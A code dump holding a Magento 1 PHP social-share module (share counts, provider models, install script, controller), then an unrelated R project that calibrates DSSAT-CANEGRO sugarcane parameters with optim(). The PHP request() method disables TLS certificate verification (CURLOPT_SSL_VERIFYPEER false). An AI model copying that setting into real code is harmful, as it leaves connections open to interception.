usort($this->_items, array($this, 'uSort'));
return $this;
}
/**
* usort array
*
* @param string $a
* @param string $b
* @return int
*/
public function uSort($a, $b)
{
if (!isset( $a['sort']) || !isset( $b['sort'])) return 0;
if ($a['sort'] == $b['sort']) return 0;
return ($a['sort'] < $b['sort']) ? -1 : 1;
}
/**
* Convert items array to array for select options
*
* @param string $valueField
* @param string $labelField
* @return array
*/
protected function _toOptionArray($valueField='id', $labelField='title', $additional=array())
{
$res = array();
$additional['value'] = $valueField;
$additional['label'] = $labelField;
foreach ($this as $item) {
foreach ($additional as $code => $field) {
$data[$code] = $item->getData($field);
}
$res[] = $data;
}
return $res;
}
}
<file_sep>/README.md
Magento.
Let your users share via their accounts on popular social networks such as Facebook, Twitter and etc.
<file_sep>/app/code/community/Faonni/Share/Model/Provider.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Faonni_Share_Model_Provider
extends Varien_Object
{
/**
* Resource model
*
* @var Faonni_Share_Model_Resource_Abstract
*/
protected $_resource;
/**
* Collection model
*
* @var Faonni_Share_Model_Resource_Provider_Collection
*/
protected $_collection;
/**
* Check whether provider can be used
*
* @return bool
*/
public function isAvailable()
{
return (bool)$this->getActive();
}
/**
* Get count
*
* @return int
*/
public function getCount()
{
return $this->hasData('count')
? (int)$this->getData('count')
: 0;
}
/**
* Get Provider resource model
*
* @return Faonni_Share_Model_Resource_Abstract
*/
public function getResource()
{
if (null === $this->_resource){
$this->_resource = Mage::getResourceModel('faonni_share/' . $this->getId());
}
return $this->_resource;
}
/**
* Get Full Share URL
*
* @return string
*/
public function getShareUrl()
{
return $this->getResource()->getShareUrl();
}
/**
* Load count
*
* @return int|bool
*/
public function loadCount($url)
{
return $this->getResource()->loadCount($url);
}
/**
* Get collection instance
*
* @return Faonni_Share_Model_Resource_Collection
*/
public function getCollection()
{
if (null === $this->_collection){
$this->_collection = Mage::getResourceModel('faonni_share/provider_collection');
}
return $this->_collection;
}
/**
* Load Provider data
*
* @param string $id
* @return Faonni_Share_Model_Provider
*/
public function load($id)
{
return $this->getCollection()->getItemByColumnValue('id', $id);
}
}<file_sep>/app/code/community/Faonni/Share/Model/Resource/Summary/Collection.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Faonni_Share_Model_Resource_Summary_Collection
extends Mage_Core_Model_Resource_Db_Collection_Abstract
{
/**
* Set model name for collection items
*
* @return void
*/
public function _construct()
{
$this->_init('faonni_share/summary');
}
/**
* Add collection filters by share entity id
*
* @param mixed $entityId
* @return Faonni_Share_Model_Resource_Summary_Collection
*/
public function addEntityIdFilter($entityId)
{
if ($entityId && is_numeric($entityId)){
$this->getSelect()->where('main_table.share_entity_id = ?', $entityId);
}
return $this;
}
/**
* Add collection filters by share entity type id
*
* @param mixed $entityTypeId
* @return Faonni_Share_Model_Resource_Summary_Collection
*/
public function addEntityTypeIdFilter($entityTypeId)
{
if ($entityTypeId && is_numeric($entityTypeId)){
$this->getSelect()->where('main_table.entity_type_id = ?', $entityTypeId);
}
return $this;
}
/**
* Add collection filters by store id
*
* @param int $storeId
* @return Faonni_Share_Model_Resource_Summary_Collection
*/
public function addStoreIdFilter($storeId)
{
if ($storeId && is_numeric($storeId)){
$this->getSelect()->where('main_table.store_id = ?', $storeId);
}
return $this;
}
}<file_sep>/app/code/community/Faonni/Share/Model/Summary.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Faonni_Share_Model_Summary
extends Mage_Core_Model_Abstract
{
/**
* Set resource names
*
* @return void
*/
protected function _construct()
{
$this->_init('faonni_share/summary');
}
/**
* Load an object by field
*
* @return Faonni_Share_Model_Summary
*/
public function loadByFields($fields)
{
$this->getResource()->loadByFields($this, $fields);
return $this;
}
/**
* Load Unite count group by provider
*
* @param int $entityTypeId
* @param int $entityId
* @param int $providerId
* @return int
*/
public function getUniteCount($entityTypeId, $entityId, $providerId)
{
return $this->getResource()->getUniteCount($entityTypeId, $entityId, $providerId);
}
/**
* Load Summary count
*
* @param int $entityTypeId
* @param int $entityId
* @return int
*/
public function getSummaryCount($entityTypeId, $entityId)
{
return $this->getResource()->getSummaryCount($entityTypeId, $entityId);
}
}<file_sep>/app/code/community/Faonni/Share/sql/faonni_share_setup/install-1.0.2.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
$installer = $this;
$installer->startSetup();
/**
* Create table 'faonni_share/summary'
*/
$table = $installer->getConnection()
->newTable($installer->getTable('faonni_share/summary'))
->addColumn('entity_id', Varien_Db_Ddl_Table::TYPE_INTEGER, null, array(
'identity' => true,
'unsigned' => true,
'nullable' => false,
'primary' => true,
), 'Entity Id')
->addColumn('entity_type_id', Varien_Db_Ddl_Table::TYPE_SMALLINT, null, array(
'unsigned' => true,
'nullable' => false,
), 'Entity Type Id')
->addColumn('store_id', Varien_Db_Ddl_Table::TYPE_SMALLINT, null, array(
'nullable' => false,
'unsigned' => true,
), 'Store Id')
->addColumn('share_entity_id', Varien_Db_Ddl_Table::TYPE_INTEGER, null, array(
'unsigned' => true,
'nullable' => false,
), 'Entity Id')
->addColumn('provider_id', Varien_Db_Ddl_Table::TYPE_TEXT, 50, array(
'nullable' => false,
), 'Provider Id')
->addColumn('count', Varien_Db_Ddl_Table::TYPE_INTEGER, null, array(
'unsigned' => true,
'nullable' => false,
), 'Share Count')
->addIndex($installer->getIdxName('faonni_share/summary', array('entity_type_id')),
array('entity_type_id'))
->addIndex($installer->getIdxName('faonni_share/summary', array('store_id')),
array('store_id'))
->addIndex($installer->getIdxName('faonni_share/summary', array('provider_id')),
array('provider_id'))
->addIndex($installer->getIdxName('faonni_share/summary', array('share_entity_id')),
array('share_entity_id'))
->addIndex($installer->getIdxName('faonni_share/summary', array('entity_type_id', 'store_id', 'share_entity_id', 'provider_id'), Varien_Db_Adapter_Interface::INDEX_TYPE_UNIQUE),
array('entity_type_id', 'store_id', 'share_entity_id', 'provider_id'), array('type' => Varien_Db_Adapter_Interface::INDEX_TYPE_UNIQUE))
->addForeignKey($installer->getFkName('faonni_share/summary', 'entity_type_id', 'eav/entity_type', 'entity_type_id'),
'entity_type_id', $installer->getTable('eav/entity_type'), 'entity_type_id',
Varien_Db_Ddl_Table::ACTION_CASCADE, Varien_Db_Ddl_Table::ACTION_CASCADE)
->addForeignKey($installer->getFkName('faonni_share/summary', 'store_id', 'core/store', 'store_id'),
'store_id', $installer->getTable('core/store'), 'store_id',
Varien_Db_Ddl_Table::ACTION_CASCADE, Varien_Db_Ddl_Table::ACTION_CASCADE);
$installer->getConnection()->createTable($table);
$installer->endSetup();<file_sep>/app/code/community/Faonni/Share/controllers/SummaryController.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Faonni_Share_SummaryController
extends Mage_Core_Controller_Front_Action
{
/**
* update action
*/
public function updateAction()
{
$result = array('error' => true);
$id = $this->getRequest()->getPost('id', false);
$type = $this->getRequest()->getPost('type', false);
$entityId = (int)$this->getRequest()->getPost('entity', false);
if($id && $type && $entityId){
$shareObject = new Varien_Object(array('id' => $entityId, 'type' => $type));
Mage::dispatchEvent('faonni_share_summary_update_before', array('share_object' => $shareObject));
if($shareObject->getEntityTypeId()){
$provider = Mage::getModel('faonni_share/provider')->load($id);
if($provider && $provider->isAvailable()){
$count = (int)$provider->loadCount($shareObject->getUrl());
$data = array(
'entity_type_id' => $shareObject->getEntityTypeId(),
'store_id' => Mage::app()->getStore()->getId(),
'share_entity_id' => $entityId,
'provider_id' => $provider->getId()
);
$summary = Mage::getModel('faonni_share/summary')->loadByFields($data);
if(!$summary->getId()){
$summary = Mage::getModel('faonni_share/summary');
$summary->addData($data);
}
$summary->setCount($count);
$summary->save();
if(Mage::helper('faonni_share')->isSummaryCount()){
$id = 'summary';
$count = (int)$summary->getSummaryCount($shareObject->getEntityTypeId(), $entityId);
}elseif(Mage::helper('faonni_share')->isUniteCount()){
$count = (int)$summary->getUniteCount($shareObject->getEntityTypeId(), $entityId, $id);
}
$result = array('error' => false, 'count' => $count, 'id' => $id);
}
}
}
$this->getResponse()->setBody(json_encode($result));
}
}<file_sep>/app/code/community/Faonni/Share/Block/Button.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Faonni_Share_Block_Button
extends Mage_Core_Block_Template
{
/**
* Collection model
*
* @var Faonni_Share_Model_Resource_Provider_Collection
*/
protected $_collection;
/**
* Check unite counts
*
* @return bool
*/
public function isSummaryCount()
{
return Mage::helper('faonni_share')->isSummaryCount();
}
/**
* Get provider collection
*
* @return Faonni_Share_Model_Resource_Collection
*/
public function getCollection()
{
if (null === $this->_collection){
$this->_collection = Mage::getResourceModel('faonni_share/provider_collection');
$summary = Mage::registry('share_summary');
foreach($this->_collection as $provider){
$id = $provider->getId();
if (isset($summary[$id])) $provider->setCount($summary[$id]);
}
//print_r($summary);
}
return $this->_collection;
}
/**
* Get Share object
*
* @return object
*/
public function getShareObject()
{
$object = Mage::registry('faonni_share');
if(!$object){
Mage::throwException($this->__('Empty share object.'));
}
return $object;
}
/**
* Return Js Config active providers
*
* @return array
*/
public function getJsConfig()
{
foreach($this->_collection as $provider){
$provider->setUrl($provider->getShareUrl());
}
$config = $this->getCollection()->toArray(array('id', 'url', 'width', 'height'));
$config['url'] = Mage::getUrl('share/summary/update');
return json_encode($config);
}
/**
* Render block HTML
*
* @return string
*/
protected function _toHtml()
{
if (!Mage::helper('faonni_share')->isEnabled()) {
return '';
}
return parent::_toHtml();
}
}<file_sep>/app/code/community/Faonni/Share/Model/Observer.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Faonni_Share_Model_Observer
{
/**
* Set share object
*
* @param Varien_Event_Observer $observer
* @return Faonni_Share_Model_Observer
*/
public function setShareObject($observer)
{
$product = $observer->getEvent()->getProduct();
$helper = Mage::helper('faonni_share');
if($product && $helper->isEnabled()){
if(false !== ($size = $helper->getSize())){
$image = Mage::helper('catalog/image')->init($product, 'image')
->resize($size['width'], $size['heigth']);
} else $image = Mage::helper('catalog/image')->init($product, 'image');
$object = new Varien_Object(array(
'id' => $product->getId(),
'title' => $product->getName(),
'url' => $product->getUrlModel()->getUrl($product, array('_ignore_category' => true)),
'image' => $image,
'description' => $product->getShortDescription(),
'type' => 'product'
));
Mage::register('faonni_share', $object);
}
return $this;
}
/**
* Set Summary Collection
*
* @param Varien_Event_Observer $observer
* @return Faonni_Share_Model_Observer
*/
public function setSummaryCollection($observer)
{
if(!Mage::helper('faonni_share')->isEnabled()){
return $this;
}
$product = $observer->getEvent()->getProduct();
if($product){
$store = Mage::app()->getStore();
$unite = Mage::helper('faonni_share')->isUniteCount();
$collection = Mage::getResourceModel('faonni_share/summary_collection')
->addEntityTypeIdFilter($product->getResource()->getTypeId())
->addEntityIdFilter($product->getId());
if($unite){
$collection
->addExpressionFieldToSelect('unite', 'SUM({{main_table.count}})', 'main_table.count')
->getSelect()->group('main_table.provider_id');
} else {
$collection->addStoreIdFilter($store->getId());
}
$summary = array();
foreach($collection as $share){
$count = $unite ? $share->getUnite() : $share->getCount();
$summary[$share->getProviderId()] = $count;
}
Mage::register('share_summary', $summary);
//print_r(Mage::app()->getStore()->getConfig('faonni_share'));
}
return $this;
}
/**
* get Entity Type
*
* @param Varien_Event_Observer $observer
* @return Faonni_Share_Model_Observer
*/
public function getEntityType($observer)
{
if(!Mage::helper('faonni_share')->isEnabled()){
return $this;
}
$object = $observer->getEvent()->getShareObject();
if($object && 'product' == $object->getType() && $object->getId()){
$product = Mage::getModel('catalog/product')->load($object->getId());
$object->setEntityTypeId(
$product->getResource()->getTypeId()
);
$object->setUrl(
$product->getUrlModel()->getUrl($product, array('_ignore_category' => true))
);
}
return $this;
}
}<file_sep>/app/code/community/Faonni/Share/Helper/Data.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Faonni_Share_Helper_Data
extends Mage_Core_Helper_Abstract
{
/**
* Social share active setting path
*
* @var string
*/
const XML_SHARE_ACTIVE = 'faonni_share/common/active';
/**
* Social share image size setting path
*
* @var string
*/
const XML_SHARE_IMAGE_SIZE = 'faonni_share/common/size';
/**
* Social share unite count setting path
*
* @var string
*/
const XML_SHARE_UNITE = 'faonni_share/common/unite';
/**
* Social share summary count setting path
*
* @var string
*/
const XML_SHARE_SUMMARY = 'faonni_share/common/summary';
/**
* Check whether Share can be used
*
* @return bool
*/
public function isEnabled()
{
return (bool)Mage::getStoreConfig(self::XML_SHARE_ACTIVE);
}
/**
* Check unite counts
*
* @return bool
*/
public function isUniteCount()
{
return (bool)Mage::getStoreConfig(self::XML_SHARE_UNITE);
}
/**
* Check unite counts
*
* @return bool
*/
public function isSummaryCount()
{
return (bool)Mage::getStoreConfig(self::XML_SHARE_SUMMARY);
}
/**
* Retrieve image size
*
* @return array|bool
*/
public function getSize()
{
$size = explode('x', strtolower(Mage::getStoreConfig(self::XML_SHARE_IMAGE_SIZE)));
if(sizeof($size) == 2){
return array(
'width' => ($size[0] > 0) ? $size[0] : null,
'heigth' => ($size[1] > 0) ? $size[1] : null,
);
}
return false;
}
}<file_sep>/app/code/community/Faonni/Share/Model/Resource/Abstract.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
abstract class Faonni_Share_Model_Resource_Abstract
extends Varien_Object
{
/**
* The share URL
*
* @var string
*/
protected $_shareUrl;
/**
* The count URL
*
* @var string
*/
protected $_countUrl;
/**
* Get Share Provider URL
*
* @return string
*/
abstract public function getShareUrl();
/**
* Get Share object
*
* @return object
*/
public function getShareObject()
{
$object = Mage::registry('faonni_share');
if(!$object){
Mage::throwException(Mage::helper('faonni_share')->__('Empty share object.'));
}
return $object;
}
/**
* request
*
* @return object
*/
public function request($url)
{
$client = new Zend_Http_Client($url, array(
'adapter' => 'Zend_Http_Client_Adapter_Curl',
'curloptions' => array(CURLOPT_SSL_VERIFYPEER => false),
));
return $client->request(Zend_Http_Client::GET);
}
}<file_sep>/app/code/community/Faonni/Share/Model/Resource/Summary.php
<?php
/**
* Faonni
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
*
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade module to newer
* versions in the future.
*
* @package Faonni_Share
* @copyright Copyright (c) 2015 <NAME>(<EMAIL>)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Faonni_Share_Model_Resource_Summary
extends Mage_Core_Model_Resource_Db_Abstract
{
/**
* Set main entity table name and primary key field name
*
* @return void
*/
protected function _construct()
{
$this->_init('faonni_share/summary', 'entity_id');
}
/**
* Load an object by multiple fields
*
* @param object $summary Faonni_Share_Model_Summary
* @param array $fields should be array('column_name'=>'value', 'colum_name'=>'value')
* @return Faonni_Share_Model_Resource_Summary
*/
public function loadByFields(Faonni_Share_Model_Summary $summary, $fields)
{
$read = $this->_getReadAdapter();
if ($read && is_array($fields))
{
$where = array();
foreach ($fields as $field => $value) {
$where[] = sprintf('%s=:%s', $field, $field);
}
$select = $read->select()
->from($this->getMainTable())
->where(implode(' AND ', $where));
$data = $read->fetchRow($select, $fields);
if ($data) {
$summary->setData($data);
}
}
$this->unserializeFields($summary);
$this->_afterLoad($summary);
return $this;
}
/**
* Load Unite count group by provider
*
* @param int $entityTypeId
* @param int $entityId
* @param int $providerId
* @return int
*/
public function getUniteCount($entityTypeId, $entityId, $providerId)
{
$read = $this->_getReadAdapter();
$select = $read->select()
->from($this->getMainTable(), array('count' => new Zend_Db_Expr('SUM(count)')))
->where('entity_type_id = ?', $entityTypeId, Zend_Db::INT_TYPE)
->where('share_entity_id = ?', $entityId, Zend_Db::INT_TYPE)
->where('provider_id = ?', $providerId, Zend_Db::INT_TYPE)
->group('provider_id');
return $read->fetchOne($select);
}
/**
* Load Summary count
*
* @param int $entityTypeId
* @param int $entityId
* @return int
*/
public function getSummaryCount($entityTypeId, $entityId)
{
$read = $this->_getReadAdapter();
$select = $read->select()
->from($this->getMainTable(), array('count' => new Zend_Db_Expr('SUM(count)')))
->where('entity_type_id = ?', $entityTypeId, Zend_Db::INT_TYPE)
->where('share_entity_id = ?', $entityId, Zend_Db::INT_TYPE)
->group('share_entity_id');
return $read->fetchOne($select);
}
} | 37d3ef6ebdf77f5826dbf745369d4086fb3c384c | [
"Markdown",
"PHP"
] | 13 | PHP | karliuka/m1.Share | 41db8779d02fac7077d38cd2128e18c8a97c1471 | c86b242c3fa16c0d50b5bd48a5c5f897fed1ab5b | |
refs/heads/master | <repo_name>Murilodsv/dssat_sscan_calib<file_sep>/bin/check_par_nonlogic.R
#--- Check parameters phyiological consistency
check_par_nonlogic = function(calib){
#--- check parameter physilogical logic
out = F
if(calib$pvalue[calib$Par_orig=="CHUPIBASE"] < calib$pvalue[calib$Par_orig=="TTPLNTEM"]){
message("")
message("Warning: CHUPIBASE lower than TTPLNTEM (Objective increased)")
out = T
}
if(calib$pvalue[calib$Par_orig=="CHUPIBASE"] < calib$pvalue[calib$Par_orig=="TTRATNEM"]){
message("")
message("Warning: CHUPIBASE lower than TTRATNEM (Objective increased)")
out = T
}
if(calib$pvalue[calib$Par_orig=="PI2"] < calib$pvalue[calib$Par_orig=="PI1"]){
message("")
message("Warning: PI2 lower than PI1 (Objective increased)")
out = T
}
if(calib$pvalue[calib$Par_orig=="PI2"] < calib$pvalue[calib$Par_orig=="PI1"]){
message("")
message("Warning: PI2 lower than PI1 (Objective increased)")
out = T
}
return(out)
}<file_sep>/bin/f_dssat_sccan_calib.R
dssat_sccan_calib = function(svalue){
#------------------------------------------#
#--- DSSAT-CANEGRO Calibration function ---#
#------------------------------------------#
#--- Goals:
#------- 1) Update parameters file;
#------- 2) Run the model;
#------- 3) Compute performance based on observed data
#--- reference: Functional, structural and agrohydrological sugarcane crop modelling: towards a simulation platform for Brazilian farming systems (PhD Dissertation, 2018)
#--- contact: <NAME> (<EMAIL>)
#--- Track time
start_time = Sys.time()
p = 4 # parameter precision (#decimals)
#--- Convert scaled to parameter values (feature scales method)
calib$pvalue = calib$Calib_values
calib$pvalue[calib$Calibrate] = svalue * (calib$Calib_range_max[calib$Calibrate] - calib$Calib_range_min[calib$Calibrate]) + calib$Calib_range_min[calib$Calibrate]
#--- cultivar ID to follow-up optimization
cat("\014")
message(paste("Calibrating cultivar: ",calib_id,sep=""))
message("")
#--- write new parameters on screen
message("Using the following parameters:")
for(i in unique(calib$Par_orig[calib$Calibrate])){
plab = i
sizep = max(nchar(as.character(calib$Par_orig)))
while(nchar(plab) < sizep){
plab = paste(plab," ",sep = "")
}
message(paste(plab," = ",sprintf(paste("%.",p,"f",sep=""),calib$pvalue[calib$Par_orig==i]),sep=""))
}
#--- check for physiological meaning
penalize = check_par_nonlogic(calib)
#--- Check if estimated parameters are within physiological-boundaries
if(uselimits){
#--- check constraints
for(i in 1:length(svalue)) {
if(svalue[i] > 1 | svalue[i] < 0){
#--- msg
message(paste("Warning: Parameter ",calib$Par_orig[calib$Calibrate][i], " is out of min and max range (Objective Penalized)",sep = ""))
#--- Increase objective function
penalize = T
}
}
}
#--- Read model parameters MASTER files
par_cul_file = readLines(paste(wd,"/templates/SCCAN047_M.CUL",sep = ""))
par_eco_file = readLines(paste(wd,"/templates/SCCAN047_M.ECO",sep = ""))
rep_line = 4 # line of file where the replacement will be done
#--- re-build cultivar file (.CUL)
l_ftype = c(".CUL",".ECO")
for(ftype in l_ftype){
#---Read model parameters MASTER file
p_file = readLines(paste(wd,"/templates/SCCAN047_M",ftype,sep = ""))
#--- list of parameters
l_rp = unique(calib$Rep_ID[calib$File == ftype])
for(rp in l_rp) {
replace = sprintf(paste("%.",p,"f",sep=""),calib$pvalue[calib$Rep_ID==rp & calib$File==ftype])
#--- check whether new parameter match size
m_size = calib$Par_size[calib$Rep_ID==rp & calib$File==ftype] - nchar(replace)
if(m_size > 0){
#--- add spaces to match size
while(m_size > 0){
replace = paste(" ",replace,sep="")
m_size = calib$Par_size[calib$Rep_ID==rp & calib$File==ftype] - nchar(replace)
}
}else if(m_size < 0){
#--- remove precision to match size
message(paste("Warning: Precision of parameter ",calib$Par_orig[calib$Rep_ID==rp & calib$File==ftype]," reduced to match file.CUL fmt",sep=""))
red_p = p
while(m_size < 0){
red_p = red_p - 1
if(red_p < 0){stop(paste("Parameter ",calib$Par_orig[calib$Rep_ID==rp & calib$File==ftype], " is too high for file.CUL fmt (try to reduce maximun range)",sep=""))}
replace = sprintf(gsub(p,red_p,paste("%.",p,"f",sep="")),calib$pvalue[calib$Rep_ID==rp & calib$File==ftype])
m_size = calib$Par_size[calib$Rep_ID==rp & calib$File==ftype] - nchar(replace)
}
}
p_file[rep_line] = gsub(rp,
replace
,p_file[rep_line])
}
#--- write parameter file
write(p_file,file =paste("C:/DSSAT",ds_v,"/Genotype/",parnm,ftype,sep = ""))
}
#--- set wd to run
setwd(paste("C:/DSSAT",ds_v,"/",crop,"/",sep = ""))
#--- write paramters used on the screen
message("")
message("Running DSSAT-Canegro...")
#-----------------#
#--- Run DSSAT ---#
#-----------------#
#--- Call DSSAT047.exe and run X files list within DSSBatch.v47
system(paste("C:/DSSAT",ds_v,"/DSCSM0",ds_v,".EXE SCCAN0",ds_v," B ",paste("DSSBatch.v",ds_v,sep=""),sep=""),show.output.on.console = pdssat)
#--- Read simulated data
plant_lines = readLines("PlantGro.OUT")
#--- Note: writing file is required to speed up! (for some reason is faster than reading directly from plant_lines variable)
write.table(plant_lines[substr(plant_lines,2,3)=="19" | substr(plant_lines,2,3)=="20"],
file = paste("PlantGro_",calib_id,".OUT",sep=""),
row.names = F, col.names = F,quote = F)
plant = read.table(file = paste("PlantGro_",calib_id,".OUT",sep="")) #Read numeric lines as data.frame
#--- Columns name accordingly to DSSAT output name
colnames(plant) = pgro_names
#--- observed data
obs = obs_df$obs
#-- simulated data
sim = plant[plant$dap %in% obs_df$dap,sscan_out]
if(plotperf){
png(paste(wd,"/results/perf_",calib_id,".png",sep=""),
units="in",
width=24,
height=12,
pointsize=24,
res=300)
par(mfrow=c(1,2), mar = c(4.5, 4.5, 0.5, 0.5), oma = c(0, 0, 0, 0))
objective = mperf(sim,obs,sscan_out,plotperf,outidx)[,2]
#--- write performance
model_perf = mperf(sim,obs,sscan_out,F)
perf_df = data.frame(cv = calib_id,model_perf)
write.csv(perf_df, file = paste(wd,"/results/perf_",calib_id,".csv",sep=""),row.names = F)
plot(plant[,sscan_out]~plant[,"dap"],
type = "l",
xlab = "DAP",
ylab = sscan_out)
points(obs_df$obs~obs_df$dap)
legend("topleft",
inset = 0.02,
legend = c("Simulated","Observed"),
col = c("black","black"),
lt = c(1,0),
pch = c(NA,1),
bg = "grey",
cex = 1.0,
box.lty = 1)
dev.off()
}else{
#--- mperf compute several indexes, RMSE is outputed
objective = mperf(sim,obs,sscan_out,plotperf,outidx)[,2]
}
#--- print this run objective
message("")
message(paste(outidx," is: ",objective,sep=""))
if(plotdev){
it_before = read.csv(file = paste(wd,"/results/optim_dev.csv",sep=""))
obj_df = data.frame(n = (max(it_before$n)+1),obj = objective,inbounds = T)
for(i in 1:length(svalue)) {
df = data.frame(v = svalue[i] * (calib$Calib_range_max[calib$Calibrate][i] - calib$Calib_range_min[calib$Calibrate][i]) + calib$Calib_range_min[calib$Calibrate][i])
colnames(df) = calib$Par_orig[calib$Calibrate][i]
obj_df = cbind(obj_df,df)
#--- Use constrained limits from par_set max and min?
if(uselimits){
if(penalize){
#--- Flag values that are out of user-boundaries
obj_df$inbounds = F
}
}
}
if(length(it_before$n) == 1){
it_before = obj_df
it_after = rbind(it_before,obj_df)
}else{
it_after = rbind(it_before,obj_df)
if(length(dev.list())>0){dev.off()}
}
#--- plot on screen
plot(it_after$obj~it_after$n, type = "l",ylab = outidx,xlab = "Number of iterations", ylim = c(0,max(it_after$obj)))
lines(c(min(it_after$obj),min(it_after$obj))~c(-1000,max(it_after$n)*1000), lty = 3,col = "red")
write.csv(it_after,file = paste(wd,"/results/optim_dev.csv",sep=""),row.names = F)
}
#--- Penalize objetive
if(uselimits){
if(penalize){
if(plotdev){
objective = max(it_before$obj)
}else{
penalty = 1000
objective = objective * penalty
}
}
}
end_time = Sys.time()
message(paste("Elapsed time: ",round(end_time - start_time,digits = 2),"sec"))
message("--------------------------------------------")
objective
}
<file_sep>/ReadMe.md
---------------------------------
# DSSAT/CANEGRO Calibration
<NAME> (Jun-2018)
----------------------------------
# Main Goal:
Calibrate .CUL and .ECO crop parameters of DSSAT/CANEGRO (PBM)
# Methods:
It uses the general purpose optimization function "optim()" embedded in R environment. User can set up the optimization method, objective function, observed data, and parameters to be calibrated. Charts and tables are provided as outputs with calibrated parameters in folder 'results'.
![alt text](https://github.com/Murilodsv/dssat_sscan_calib/blob/master/framework.png)
# Warning:
This subroutine will replace your .CUL and .ECO, so please make sure you backed up your original coefficients before using it.
# Example Run:
An example is already set in the table dssat_canegro_calib_par.csv and file dssat_sccan_calib.R
To run it make sure to copy the files SCGO0001.SCX and GOGO.WTH into the DSSAT47/Sugarcane folder.
Then, open dssat_sccan_calib.R and follow the comented instructions.
# How to Use:
1) Set the dssat_canegro_calib_par.csv file with initial parameters and boundaries:
Specify in the column 'Calibrate' which parameter will be calibrated by writing T or F
In Columns 'Init_values' 'Calib_range_min' 'Calib_range_max' specify the initial parameters values, the minimum and maximum range.
2) Open dssat_sccan_calib.R and follow the comented instructions
# Sample Results:
Optimization progress of RMSE
![opmin_progress](https://github.com/Murilodsv/dssat_sscan_calib/blob/master/results/optimization_CTC2.png)
Best fit results
![bf_res](https://github.com/Murilodsv/dssat_sscan_calib/blob/master/results/perf_CTC2.png)
<file_sep>/dssat_sccan_calib.R
#---------------------------------#
#--- DSSAT CANEGRO Calibration ---#
#---------------------------------#
